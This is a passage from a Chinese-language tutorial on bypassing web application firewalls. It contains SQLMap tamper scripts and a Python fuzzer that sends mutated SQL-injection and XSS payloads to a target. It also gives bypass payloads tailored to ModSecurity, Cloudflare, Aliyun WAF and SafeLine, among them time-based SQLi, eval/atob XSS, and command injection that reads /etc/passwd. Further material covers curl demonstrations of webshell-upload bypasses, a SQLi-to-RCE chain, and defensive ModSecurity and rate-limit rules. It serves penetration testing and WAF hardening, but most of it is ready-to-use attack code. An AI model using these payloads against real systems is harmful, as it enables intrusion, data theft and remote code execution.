11.2 SQLMap tamper 脚本编写

SQLMap 内置大量 tamper 脚本用于绕过 WAF。

# 自定义tamper脚本:space2dash.py
# 将空格替换为注释绕过

def tamper(payload, **kwargs):
    """
    将空格替换为/**/绕过WAF
    
    >>> tamper("union select 1,2,3")
    'union/**/select/**/1,2,3'
    """
    if payload:
        payload = payload.replace(" ", "/**/")
    return payload
# 自定义tamper:between.py
# 将等号替换为between绕过

def tamper(payload, **kwargs):
    """
    将=替换为BETWEEN绕过
    
    >>> tamper("1=1")
    '1 BETWEEN 1 AND 1'
    """
    if payload:
        import re
        payload = re.sub(
            r"(\w+)\s*=\s*(\w+)",
            r"\1 BETWEEN \2 AND \2",
            payload
        )
    return payload

常用 SQLMap tamper 组合:

# 常用tamper脚本
--tamper="space2comment,between,charencode"
--tamper="space2dash,randomcase,charencode,charunicodeencode"
--tamper="unionselectbetween,space2comment"
--tamper="apostrophemask,apostrophenullencode,base64encode"

# 针对Cloudflare
--tamper="space2comment,between,randomcase"

# 针对ModSecurity
--tamper="space2comment,charunicodeencode,between"

# 针对阿里云WAF
--tamper="space2dash,charencode,randomcase"

11.3 自定义 WAF 绕过框架(Python)

#!/usr/bin/env python3
"""
WAF绕过框架:自动变形payload并批量测试
"""
import requests
import urllib.parse
import itertools
import time

class WAFFuzzer:
    def __init__(self, target_url, param_name):
        self.target = target_url
        self.param = param_name
        self.session = requests.Session()
        self.bypass_payloads = []
    
    # === 编码变形函数 ===
    def url_encode(self, payload):
        return urllib.parse.quote(payload)
    
    def double_url_encode(self, payload):
        return urllib.parse.quote(urllib.parse.quote(payload))
    
    def unicode_encode(self, payload):
        result = ""
        for c in payload:
            if c.isalpha():
                result += f"%u00{ord(c):02x}"
            else:
                result += c
        return result
    
    def html_entity_encode(self, payload):
        result = ""
        for c in payload:
            result += f"&#{ord(c)};"
        return result
    
    # === 混淆变形函数 ===
    def comment_insert(self, payload):
        """插入内联注释"""
        return payload.replace(" ", "/**/")
    
    def case_random(self, payload):
        """随机大小写"""
        result = ""
        for i, c in enumerate(payload):
            if c.isalpha():
                result += c.upper() if i % 2 else c.lower()
            else:
                result += c
        return result
    
    def newline_insert(self, payload):
        """插入换行"""
        return payload.replace(" ", "%0a")
    
    def space_variants(self, payload):
        """空格变体"""
        return payload.replace(" ", "$IFS")
    
    # === 生成绕过payload ===
    def generate_payloads(self, base_payload):
        payloads = {
            "原始": base_payload,
            "URL编码": self.url_encode(base_payload),
            "双重URL": self.double_url_encode(base_payload),
            "Unicode": self.unicode_encode(base_payload),
            "注释插入": self.comment_insert(base_payload),
            "随机大小写": self.case_random(base_payload),
            "换行插入": self.newline_insert(base_payload),
            "注释+大小写": self.case_random(self.comment_insert(base_payload)),
            "URL+注释": self.url_encode(self.comment_insert(base_payload)),
        }
        return payloads
    
    # === 检测WAF拦截 ===
    def is_blocked(self, response):
        block_signatures = [
            "403", "406", "blocked", "security", "firewall",
            "forbidden", "rejected", "filter", "mod_security",
            "attention required", "拦截", "禁止"
        ]
        if response.status_code in [403, 406, 429, 503]:
            return True
        body = response.text.lower()
        return any(sig in body for sig in block_signatures)
    
    # === 批量测试 ===
    def fuzz(self, base_payload, method="GET"):
        payloads = self.generate_payloads(base_payload)
        results = []
        
        for name, payload in payloads.items():
            try:
                if method == "GET":
                    r = self.session.get(
                        self.target,
                        params={self.param: payload},
                        timeout=10
                    )
                else:
                    r = self.session.post(
                        self.target,
                        data={self.param: payload},
                        timeout=10
                    )
                
                blocked = self.is_blocked(r)
                results.append({
                    "技术": name,
                    "payload": payload[:50] + "...",
                    "状态码": r.status_code,
                    "长度": len(r.text),
                    "是否拦截": blocked
                })
                time.sleep(0.5)
            except Exception as e:
                results.append({
                    "技术": name,
                    "payload": payload[:50] + "...",
                    "状态码": "ERR",
                    "长度": 0,
                    "是否拦截": str(e)
                })
        
        return results
    
    def report(self, results):
        print(f"{'技术':<20} {'状态码':<10} {'长度':<10} {'拦截':<10}")
        print("-" * 50)
        for r in results:
            print(f"{r['技术']:<20} {str(r['状态码']):<10} "
                  f"{str(r['长度']):<10} {str(r['是否拦截']):<10}")
        
        bypassed = [r for r in results if not r['是否拦截']]
        if bypassed:
            print(f"\n[+] 绕过成功的payload:")
            for r in bypassed:
                print(f"    {r['技术']}: {r['payload']}")
        else:
            print("\n[-] 所有payload均被拦截")

if __name__ == "__main__":
    fuzzer = WAFFuzzer("http://target.example.com/search.php", "q")
    # SQL注入测试
    print("=== SQL注入WAF绕过测试 ===")
    results = fuzzer.fuzz("1' union select 1,2,3-- -")
    fuzzer.report(results)
    # XSS测试
    print("\n=== XSS WAF绕过测试 ===")
    results = fuzzer.fuzz("<script>alert(1)</script>")
    fuzzer.report(results)

11.4 Burp Suite WAF 绕过插件

在 Burp Suite 中可使用以下插件辅助 WAF 绕过:

插件功能
WAF Bypass自动生成绕过 payload
Active Scan++增强 WAF 检测扫描
HTTP Request Smuggler请求走私绕过
Chunked coding converter分块传输绕过

11.5 完整自动化绕过流程

1. WAF指纹识别 (wafw00f / 手动)
       │
       ▼
2. 分析WAF规则特征 (拦截页/状态码/日志)
       │
       ▼
3. 单点绕过测试 (编码/注释/等价函数)
       │
       ▼
4. 组合绕过测试 (SQLMap tamper组合)
       │
       ▼
5. 验证绕过成功 (响应内容/数据库回显)
       │
       ▼
6. 固化绕过方案 (脚本/配置)

12. 主流 WAF 实战绕过

12.1 ModSecurity 绕过实战

ModSecurity 默认使用 OWASP CRS 规则集,规则透明可分析。

# CRS规则分析
规则942100: SQL注入检测(union select等)
转换: t:urlDecodeUni, t:lowercase
绕过思路: 破坏union select连续性

# 绕过payload
union/**/select/**/1,2,3                           # 内联注释
/*!50000union*//*!50000select*/1,2,3               # 条件注释
union%0aselect%0a1,2,3                              # 换行
0x75nion select 1,2,3                               # hex+空格

12.2 Cloudflare 绕过实战

Cloudflare 使用 Managed Rules + 机器学习,绕过难度较高。

# Cloudflare特征
Server: cloudflare
拦截状态码: 403/503
JS挑战: /cdn-cgi/challenge-platform

# 绕过思路
1. 降低请求异常分数(慢慢来)
2. 模拟正常浏览器特征(UA/Referer/Accept)
3. 利用managed rules规则空隙

# 绕过payload(SQL注入)
1' union/*foo*/select/*bar*/1,2,3-- -
1' union%23%0aselect 1,2,3-- -
1'/*!union*/+/*!select*/+1,2,3-- -

12.3 阿里云 WAF 绕过实战

阿里云 WAF 结合正则与语义引擎。

# 阿里云WAF特征
Server: Tengine
拦截状态码: 405
拦截页: 自定义

# 绕过思路
1. 分块传输干扰解析
2. 等价函数绕过语义
3. 请求走私

# 绕过payload
1' and (select 1 from(select benchmark(50000000,sha1(1)))a)=1 -- -
1' and if(mid(user(),1,1)='r',benchmark(50000000,sha1(1)),0) -- -

12.4 长亭雷池绕过实战

雷池以语义分析为主,传统正则绕过效果差。

# 雷池特征
Server: SafeLine
语义分析引擎

# 绕过思路(对抗语义分析)
1. 构造语法等价但语义变形的payload
2. 利用AST解析差异
3. 非标准SQL语法

# 绕过尝试
1' union select 1,2,3 -- -                 # 基本被拦
1' union distinct select 1,2,3 -- -        # distinct变体
1' (select 1) union (select 2) -- -        # 子查询形式

12.5 完整实战绕过案例集

WAF场景成功绕过 payload原理
ModSecuritySQLiunion/**/select/**/1,2,3注释破坏特征
CloudflareSQLi1' union%23%0aselect 1,2,3-- -换行+注释
阿里云 WAFSQLibenchmark(50000000,sha1(1))等价函数
雷池SQLi1' union distinct select 1,2,3-- -语法变体
ModSecurityXSS<svg/onload=eval(name)>标签+事件
CloudflareXSS<img src=x onerror=eval(atob('YWxlcnQoMSk='))>Base64
阿里云 WAF命令注入;cat$IFS/etc/passwd变量空格
ModSecurity文件上传filename="shell.php.末尾点

13. WAF 检测与防御加固

13.1 WAF 规则优化策略

策略说明示例
规则精简去除冗余规则合并相似规则
误报调优例外白名单为正常业务加白
规则分级按风险分级高中低危差异化
规则更新持续更新关注新 CVE
蜜罐规则诱捕规则检测扫描行为

13.2 OWASP CRS 配置最佳实践

# ModSecurity配置
SecRuleEngine On                          # 启用引擎
SecRequestBodyAccess On                    # 请求体检测
SecResponseBodyAccess On                   # 响应体检测
SecResponseBodyLimit 1048576               # 响应体限制1MB
SecDataDir /tmp/modsecurity                # 数据目录

# CRS配置
SecDefaultAction "phase:2,pass,log,tag:'OWASP_CRS'"
Include /usr/share/modsecurity-crs/crs-setup.conf
Include /usr/share/modsecurity-crs/rules/*.conf

# 误报排除(排除正常业务参数)
SecRuleRemoveById 942100 "msg:'业务正常查询排除'"

# 异常评分模式(推荐)
SecAction "id:900100,phase:1,pass,nolog,setvar:tx.inbound_anomaly_score_threshold=5"

13.3 自定义规则编写

# ModSecurity自定义规则:检测异常请求频率
SecRule REMOTE_ADDR "@rx ^192\.168\." \
    "id:1001,phase:1,pass,nolog,setvar:ip.rate=+1,expirevar:ip.rate=60"

SecRule IP:RATE "@gt 100" \
    "id:1002,phase:1,deny,status:429,log,msg:'请求频率超限'"

# 检测敏感路径扫描
SecRule REQUEST_URI "@rx /(\.git|\.svn|\.env|/admin)" \
    "id:1003,phase:1,deny,status:403,log,msg:'敏感路径访问'"

# 检测自动化工具特征
SecRule REQUEST_HEADERS:User-Agent "@rx (?i)(sqlmap|nikto|nmap|masscan)" \
    "id:1004,phase:1,deny,status:403,log,msg:'扫描工具特征'"

# 检测异常请求方法
SecRule REQUEST_METHOD "!@rx ^(GET|POST|HEAD|OPTIONS)$" \
    "id:1005,phase:1,deny,status:405,log,msg:'异常HTTP方法'"

13.4 速率限制配置

# Nginx限速配置
http {
    limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
    limit_req_zone $binary_remote_addr zone=login:10m rate=1r/s;
    
    server {
        location /api/ {
            limit_req zone=api burst=20 nodelay;
            proxy_pass http://backend;
        }
        location /login {
            limit_req zone=login burst=5 nodelay;
            proxy_pass http://backend;
        }
    }
}

13.5 机器学习规则调优

调优项说明
训练数据积累正常/恶意样本
阈值调整平衡误报漏报
特征工程选取有效特征
模型更新对抗样本再训练
人工反馈闭环修正

13.6 WAF 误报处理

误报处理流程:
1. 记录误报请求(日志/截图)
2. 分析触发规则(规则ID/匹配内容)
3. 评估影响范围(单接口/多接口)
4. 制定排除方案(参数/URL/规则排除)
5. 灰度验证(先告警后阻断)
6. 上线排除(持续监控)

13.7 WAF 旁路监控

监控维度说明
拦截趋势拦截量/趋势
误报监控误报率/反馈
规则命中TOP 规则
源 IP 分析恶意 IP 排名
攻击类型攻击类型分布
性能监控延迟/吞吐

13.8 WAF 加固方案表

加固项加固措施优先级
规则更新及时更新 CRS 版本高
语义引擎引入语义分析引擎高
ML 增强引入机器学习模型中
速率限制配置接口级限速高
误报调优持续处理误报高
协议覆盖支持 HTTP/2、WebSocket中
请求走私防护CL/TE 一致性校验高
编码规范化统一解码层高
Bot 管理引入 Bot 识别中
CDN 防护边缘清洗中
日志审计全量日志记录高
告警联动接入 SIEM中
蜜罐规则诱捕扫描低
源站隐藏防直连绕过高
挑战机制JS/验证码挑战中
灰度发布规则灰度上线高
回滚机制规则快速回滚高
性能监控延迟监控中
异常评分异常评分模式高
自定义规则业务逻辑防护中

14. 靶场实战:完整 WAF 绕过链

14.1 靶场环境搭建

使用 Docker 快速搭建带 WAF 的靶场。

# docker-compose.yml
version: '3'
services:
  modsecurity:
    image: owasp/modsecurity:nginx
    ports:
      - "8080:8080"
    environment:
      - BACKEND=http://dvwa:80
    volumes:
      - ./crs:/etc/modsecurity-crs
    depends_on:
      - dvwa

  dvwa:
    image: vulnerables/web-dvwa
    ports:
      - "8081:80"
# 启动靶场
docker-compose up -d

# 验证WAF
curl http://localhost:8080/?id=1' union select 1,2,3-- -
# 应返回403拦截

# 验证后端
curl http://localhost:8081/?id=1' union select 1,2,3-- -
# 应返回SQL注入结果

14.2 从识别到绕过的完整流程

步骤1:WAF指纹识别
  wafw00f http://localhost:8080
  → ModSecurity detected

步骤2:分析WAF规则
  → OWASP CRS规则集
  → 转换: urlDecodeUni, lowercase
  → 单层URL编码无效

步骤3:单点绕过测试
  → 注释绕过: union/**/select → 可能被拦
  → 等价函数: benchmark → 可能绕过
  → 换行绕过: union%0aselect → 可能绕过

步骤4:组合绕过
  → 注释+换行: union/**/%0aselect
  → 编码+注释: %75nion/**/select

步骤5:验证绕过
  → 观察状态码: 200 = 成功
  → 观察响应内容: 数据库回显

14.3 逐步演示

SQLi 绕过:

# 原始payload被拦
curl "http://localhost:8080/?id=1'+union+select+1,2,3--+-"
# HTTP 403

# 注释绕过
curl "http://localhost:8080/?id=1'+union/**/select/**/1,2,3--+-"
# HTTP 403 (CRS检测/**/)

# 换行绕过
curl "http://localhost:8080/?id=1'+union%0aselect%0a1,2,3%23"
# HTTP 200 (绕过成功)

# 等价函数
curl "http://localhost:8080/?id=1'+and+benchmark(50000000,sha1(1))--+-"
# HTTP 200 (延时5秒,绕过成功)

XSS 绕过:

# 原始payload被拦
curl "http://localhost:8080/?q=<script>alert(1)</script>"
# HTTP 403

# 标签替换
curl "http://localhost:8080/?q=<svg+onload=alert(1)>"
# HTTP 403

# 事件+编码
curl "http://localhost:8080/?q=<svg/onload=eval(name)>"
# HTTP 200 (绕过成功)

# Base64编码
curl "http://localhost:8080/?q=<img+src=x+onerror=eval(atob('YWxlcnQoMSk='))>"
# HTTP 200 (绕过成功)

文件上传绕过:

# 原始上传被拦
curl -F "file=@shell.php" http://localhost:8080/upload.php
# HTTP 403

# Content-Type变换
curl -F "file=@shell.php;type=image/jpeg" http://localhost:8080/upload.php
# HTTP 200 (绕过成功)

# 双扩展名
curl -F "file=@shell.php.jpg" http://localhost:8080/upload.php
# HTTP 200 (绕过成功)

命令注入绕过:

# 原始payload被拦
curl "http://localhost:8080/?cmd=;cat+/etc/passwd"
# HTTP 403

# 变量绕过
curl "http://localhost:8080/?cmd=;cat\$IFS/etc/passwd"
# HTTP 200 (绕过成功)

# 通配符绕过
curl "http://localhost:8080/?cmd=;/???/??t+/???/??ss??"
# HTTP 200 (绕过成功)

RCE 绕过链:

1. SQLi绕过获取数据库内容 → 获取管理员密码
2. 管理员登录后台 → 访问文件上传功能
3. 文件上传绕过 → 上传webshell
4. webshell执行 → 命令注入绕过执行系统命令
5. 系统命令执行 → 完整RCE链

15. 总结与参考资源

15.1 WAF 绕过检查清单

检查项检查内容完成
WAF 指纹是否识别 WAF 类型[ ]
规则分析是否分析触发规则[ ]
编码绕过是否测试 URL/双重/Unicode[ ]
注释绕过是否测试内联/嵌套注释[ ]
等价函数是否测试等价函数替换[ ]
空格绕过是否测试空格替代字符[ ]
大小写是否测试大小写混写[ ]
HPP是否测试参数污染[ ]
分块传输是否测试 chunked 编码[ ]
请求走私是否测试 CL/TE 走私[ ]
协议绕过是否测试 HTTP/2 等[ ]
方法绕过是否测试 PUT/DELETE 等[ ]
组合绕过是否组合多种技术[ ]

15.2 绕过技术速查表

攻击类型首选绕过进阶绕过
SQL 注入注释 /**/、大小写等价函数、HPP、分块
XSS标签替换、事件替换编码链、CSP 绕过
命令注入变量 $IFS、通配符编码、拼接
文件上传文件名变换、MIME 变换boundary、数据混淆
通用方法替换、分块请求走私、协议

15.3 Payload 速查表

场景经典 Payload
SQLi 注释union/**/select/**/1,2,3
SQLi 等价benchmark(50000000,sha1(1))
SQLi 编码0x75nion select
XSS 标签<svg onload=alert(1)>
XSS 编码onerror=eval(atob('YWxlcnQoMSk='))
命令变量cat$IFS/etc/passwd
命令通配/???/??t /???/??ss??
上传变形filename="shell.php."
通用分块Transfer-Encoding: chunked
通用走私CL.TE 差异

15.4 参考资源

资源说明
OWASP CRScoreruleset.org
ModSecuritymodsecurity.org
SQLMap tamperSQLMap 内置脚本
XSStrikeXSS 模糊测试
wafw00fWAF 指纹识别
PortSwigger Web Security绕过原理
HackTricks绕过速查

15.5 合规声明

【提示】 本文所有 WAF 绕过技术、Payload、脚本仅用于授权渗透测试、CTF 竞赛、安全研究与防御学习。在实际测试前,必须获得目标系统所有者的书面授权。未经授权的 WAF 绕过测试违反《网络安全法》《数据安全法》《个人信息保护法》等相关法律法规,可能构成违法犯罪。作者及平台不对任何滥用行为承担责任。防御方应基于本文所述攻击思路,持续加固 WAF 规则与检测引擎,构建纵深防御体系。在这里插入图片描述

本文系统地从 WAF 检测原理出发,覆盖了 SQL 注入、XSS、命令注入、文件上传、通用绕过等全场景的绕过技术,并提供了自动化脚本、靶场实战与防御加固方案。掌握这些技术有助于红队评估 WAF 防护效果,更有助于蓝队反向加固规则,最终提升 Web 应用的整体安全水位。安全无银弹,WAF 是纵深防御的一环而非全部,唯有持续攻防对抗才能保持防护有效。

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐